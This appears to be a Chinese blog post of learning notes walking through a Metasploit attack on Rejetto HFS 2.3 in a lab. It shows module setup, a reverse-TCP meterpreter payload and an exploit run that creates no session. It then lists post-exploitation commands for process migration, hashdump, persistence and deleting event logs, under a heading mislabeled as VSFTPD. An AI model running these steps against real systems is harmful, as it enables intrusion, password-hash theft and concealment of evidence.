利用Metasploit对HFS 2.3渗透攻击提权

本文详细介绍了如何使用Metasploit框架针对HFS2.3漏洞进行渗透测试,包括启动数据库、选择渗透模块、设置目标参数、发起攻击等步骤。同时,文章也探讨了VSFTPD2.3.4的渗透过程,涉及威胁建模、攻击执行、渗透持久化以及清理痕迹。尽管在攻击阶段遇到无法显示会话的问题,但整个过程提供了宝贵的渗透测试学习资料。
摘要由CSDN通过智能技术生成


前言

针对HFS 2.3漏洞进行渗透测试提权(HFS:HttpFileServer)


一、Metasploit中使用数据库

开启步骤

root@kali:~# service postgresql start
root@kali:~# msfdb init

msfdb ini 初始化数据库

  • 使用msfconsole启动metasploit
  • 输入db_status检查数据库连接状态,下图为连接成功
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > Interrupt: use the 'exit' command to quit
msf6 > 

利用msf中nmap扫描,发现hfs漏洞

二、VSFTPD2.3.4渗透攻击

1.威胁建模

利用use选择该渗透模块,在用options列出参数

msf6 > search hfs

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/multi/http/git_client_command_exec  2014-12-18       excellent  No     Malicious Git and Mercurial HTTP Server For CVE-2014-9390
   1  exploit/windows/http/rejetto_hfs_exec       2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/http/rejetto_hfs_exec                                                                                     

msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port]
                                         [...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts fil
                                         e with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This
                                         must be an address on the local machine or 0.0.0.0 to l
                                         isten on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly g
                                         enerated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none
                                        )
   LHOST     192.168.1.113    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 192.168.1.105
rhosts => 192.168.1.105
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8080
rport => 8080

2.攻击

exploit进行攻击,虽然攻击成功但是无法显示会话,本人试了很多次没有找到原因

msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.113:4444 
[*] Using URL: http://0.0.0.0:8080/CeeoHsoKnTH0oyJ
[*] Local IP: http://192.168.1.113:8080/CeeoHsoKnTH0oyJ
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\ciBBfVI.vbs' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/rejetto_hfs_exec) > 

3.渗透持久化

修改metasploit驻留的进程号

meterpreter > geruid	#查看驻留进程号
meterpreter > ps	#列出进程号
meterpreter > migrate 1864	#修改进程号,explorer.exe
meterpreter > hashdump	#查看系统密码哈希值

控制持久化,使用persistence模块,对目标渗透主机上传一个恶意文件

meterpreter > run persistence

建立一个handler连接被控端

msf6 > use exploit/multi/handler

用set修改参数,再用exploit攻击,等待被控端启动

4.清楚渗透痕迹

meterpreter > run event_manager -i	#查看日志
meterpreter > run event_manager -c	#删除日志

总结

本文简单介绍了hfs 2.3后门漏洞的渗透攻击以及提权,本人也在学习当中,仅供参考,作为学习笔记使用,欢迎一起讨论。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我重来不说话

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值